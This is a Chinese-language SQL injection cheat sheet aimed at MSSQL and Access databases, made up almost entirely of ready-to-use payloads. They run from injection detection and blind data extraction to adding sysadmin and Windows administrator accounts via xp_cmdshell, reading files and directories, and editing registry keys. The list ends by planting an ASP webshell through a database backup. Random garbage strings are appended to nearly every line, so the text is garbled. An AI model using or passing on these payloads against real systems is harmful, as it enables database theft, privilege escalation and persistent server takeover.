1.判断是否有注入;and 1=1 ;and 1=2 ! 6kLL
2.初步判断是否是mssql ;and user>0 :3k&[W*
<qD/ #$
3.注入参数是字符'and [查询条件] and ''=' J:
GzJLG=M
4.搜索时没过滤参数的'and [查询条件] and '%25'=' a+$WlG/x
z4f\0uQ
5.判断数据库系统 [#y/`
AtRu)v6r
;and (select count(*) from sysobjects)>0 mssql ZCJOh8
3.q%?S}*
;and (select count(*) from msysobjects)>0 access 1eC1Cyw
uJz<:/rwZ-
O) ks
6"^Yn.
6.猜数据库 ;and (select Count(*) from [数据库名])>0 wB6ILTu1
2Yd0:$a
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 t+'|&b][Qi
c@RMy$RTF
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 $x,?+N
i>!7/o
9.(1)猜字段的ascii值(access) [6@{^
sY4sq5'!
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 %T]NM3|U
1O
bxQ_x
(2)猜字段的ascii值(mssql) Txkmt$h
_6a+" p
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 YfBb=rN2s
*vn^
W
10.测试权限结构(mssql) %liu[6_
-TKS`,#
Qq;` 9-&j
L8K=Q
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- %c%0pGn8-
=[8EQdR
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- `Tt}:9/3
:'aT4
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- .Ap-<FB
5~T`R~Uqb
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- BKDs3?&
{9sA'5
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- \|2 0E51B[
`oP<mLxle
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^|^ek
n}9vAvC
;and 1=(select IS_MEMBER('db_owner'));-- 6AeX$>k+
-lHSojq~H
RXa&*Jtr -
L(a&,cdh
11.添加mssql和系统的帐户 P( >*gp
w=EUwt
;exec master.dbo.sp_addlogin username;-- aEr<(x!|"
;exec master.dbo.sp_password null,username,password;-- ji(W+tQ2Y'
#:0dqD=
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- UW7*,B q
5Hvg%g-c
;exec master.dbo.xp_cmdshell 'net user username password 70NQ9*AAy
%M{qr!?uj
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- z -|gw.y
jR-`ee}y2
;exec master.dbo.xp_cmdshell 'net user username password /add';-- sBP.P7u
ok;Y xp>
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- M<Mr
L[*j
7Iu^l4=2
hS]g^S==2h
[r'PGx
12.(1)遍历目录 Y 1a[HF^-
SH>L3@Za
;create table dirs(paths varchar(100), id int) Az4+([
nU]n]gd
;insert dirs exec master.dbo.xp_dirtree 'c:\' B6)d2O9C
DQ7+
;and (select top 1 paths from dirs)>0 =}N&c4I[j
Gt4| ]
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) {~.~ b+v
"&jA
CI
)%rGD
=2~
X|+ o4R?
(2)遍历目录 z@\C/wX
R;,&s!\<
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- N6wea]
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 cIqk=_]
aty"6~
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 4Q2=\-KFj
}7iWm XlI
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 PI{;3X}9$,
;J|sH>i
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 JmDi{B?
9(?9yFbj5
Cz=HxU80J
E$5)]<p! <
13.mssql中的存储过程 dQ6:c7hp>D
|J:n'}
xp_regenumvalues 注册表根键, 子键 z-<091,
f,:SI&c\
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 D<}z7W-
>hqev-
xp_regread 根键,子键,键值名 noY~fq/U
m~;fklX S
;exec xp_regread tL0<xGI5^
qfp,5@p
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 b&:>v9U
+a$'<GvP
xp_regwrite 根键,子键, 值名, 值类型, 值 #/fh_S'Z
O~t]:p9_
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 4]L5%=atn
N@D]Q&;+(T
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 8S2sNpLi-g
*`~
woF
xp_regdeletevalue 根键,子键,值名 dQUZ11
X0<qG
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 P:GAJ->;]>
*^j'G^n
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 oRl~x^[%[-
7_Yxz$m
Xv[5)4N
6&8 ([J
14.mssql的backup创建webshell yuyI)ebC
GE;S5X]X
use model H#pl&/+
@tQu3Rq@
create table cmd(str image); 3vx5dUgl,
6H+'ezM
insert into cmd(str) values (''); f681i(q"
G-`4TQ
backup database model to disk='c:\l.asp'; 4DhGp
*'5)CC
A-5xgp,
/Y=Cg%+
15.mssql内置函数 f4A;v|5_
=l6aSr
;and (select @@version)>0 获得Windows的版本号 cj
?aCVa
rG7E[kii
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ;pk4Voo$
p,_,o3@~
;and (select user_name())>0 爆当前系统的连接用户 #-76E
vW`Dy8`06
;and (select db_name())>0 得到当前连接的数据库 "B18|#v
Leg)q7n
>uVo'S.
~s.~X5
16.简洁的webshell 0#\K9|.
DK' ? '
use model ?:@13wm
|wF_CZ*1
create table cmd(str image); q-7C7q
ZAe'lgS
insert into cmd(str) values (''); X.~z:W+
ze* =7
backup database model to disk='g:\wwwtest\l.asp';